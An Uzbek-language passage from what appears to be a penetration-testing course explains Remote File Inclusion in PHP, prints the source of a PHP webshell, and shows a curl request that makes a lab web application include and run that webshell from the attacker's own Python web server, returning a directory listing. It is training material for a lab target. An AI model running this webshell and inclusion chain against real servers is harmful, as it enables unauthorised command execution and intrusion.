Remote File Inclusion (RFI) zaifliklari LFI ga qaraganda kamroq uchraydi, chunki nishon tizim maxsus tarzda sozlangan bo‘lishi kerak. Masalan, PHP veb-ilovalarida RFI dan foydalanish uchun, oldingi bo‘limdagi data:// wrapper da bo‘lgani kabi, allow_url_include opsiyasi yoqilgan bo‘lishi kerak. Aytib o‘tilganidek, bu opsiya PHP’ning barcha joriy versiyalarida sukut bo‘yicha o‘chirilgan. LFI zaifliklari mahalliy fayllarni kiritish uchun ishlatilishi mumkin bo‘lsa, RFI zaifliklari HTTP yoki SMB orqali masofaviy tizimdan fayllarni kiritish imkonini beradi. Kiritilgan fayl veb-ilova kontekstida ijro etiladi. Bu opsiya odatda veb-ilova masofaviy tizimlardan fayllar yoki tarkib, masalan, kutubxonalar yoki ilova ma'lumotlarini yuklaganda yoqilgan bo‘ladi. RFI zaifliklarini Directory Traversal va LFI bo‘limlarida ko‘rib chiqilgan bir xil texnikalar yordamida aniqlashimiz mumkin.
Kali Linux /usr/share/webshells/php/ direktoriyasida RFI uchun ishlatilishi mumkin bo‘lgan bir nechta PHP webshells ni o‘z ichiga oladi. Webshell – bu veb-ga asoslangan buyruqlar qatori interfeysini taqdim etuvchi kichik skript bo‘lib, buyruqlarni ijro etishni osonlashtiradi va qulay qiladi. Ushbu misolda biz Mountain Desserts veb-ilovasidagi RFI zaifligini ekspluat qilish uchun simple-backdoor.php webshell dan foydalanamiz.
Avval simple-backdoor.php webshell tarkibini qisqacha ko‘rib chiqamiz. Biz uni oldingi bo‘limlardagi LFI zaifligini RFI uchun sinash uchun ishlatamiz. Kod oldingi bo‘limlarda ishlatgan PHP parchasiga juda o‘xshaydi. U cmd parametri orqali buyruqlarni qabul qiladi va ularni system funksiyasi orqali ijro etadi.
kali@kali:/usr/share/webshells/php/$ **cat simple-backdoor.php**
...
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
**$cmd = ($_REQUEST['cmd']);
system($cmd);**
echo "</pre>";
die;
}
?>
Usage: <http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd>
...
Ro‘yxat 26 - simple-backdoor.php webshell ning joylashuvi va tarkibi
RFI zaifligidan foydalanish uchun masofaviy faylni nishon tizim uchun ochiq qilishimiz kerak. Biz Kali mashinamizda veb-serverni ishga tushirish va masofaviy tarzda nishon tizimda kiritmoqchi bo‘lgan faylni taqdim etish uchun Python3 http.server modulidan foydalanishimiz mumkin. http.server moduli veb-root sifatida terminalning joriy direktoriyasini o‘rnatadi.
<aside> 💡
Biz Github’dan ochiq fayl kabi jamoatchilikka ochiq fayldan ham foydalanishimiz mumkin edi.
</aside>
kali@kali:/usr/share/webshells/php/$ **python3 -m http.server 80**
Serving HTTP on 0.0.0.0 port 80 (<http://0.0.0.0:80/>) ...
Ro‘yxat 27 - Python3 http.server modulini ishga tushirish
Veb-server /usr/share/webshells/php/ joriy direktoriya sifatida ishga tushgandan so‘ng, hujum qiluvchi mashinada barcha zarur qadamlar bajarildi. Keyin, curl dan foydalanib, HTTP orqali joylashtirilgan faylni kiritamiz va buyruq sifatida ls ni belgilaymiz.
kali@kali:/usr/share/webshells/php/$ **curl "<http://mountaindesserts.com/meteor/index.php?page=http://192.168.119.3/simple-backdoor.php&cmd=ls>"**
...
<a href="index.php?page=admin.php"><p style="text-align:center">Admin</p></a>
**<!-- Simple PHP backdoor by DK (<http://michaeldaw.org>) -->**
<pre>admin.php
bavarian.php
css
fonts
img
index.php
js
</pre>
Ro‘yxat 28 - PHP backdoor bilan RFI ekspluatatsiyasi va ls buyrug‘ini ijro etish
Ro‘yxat 28 da biz masofaviy joylashtirilgan webshell ni kiritish orqali RFI zaifligini muvaffaqiyatli ekspluat qilganimiz ko‘rsatilgan. Endi LFI bo‘limida bo‘lgani kabi, Netcat dan foydalanib reverse shell yaratishimiz va nishon tizimda interaktiv shell olishimiz mumkin.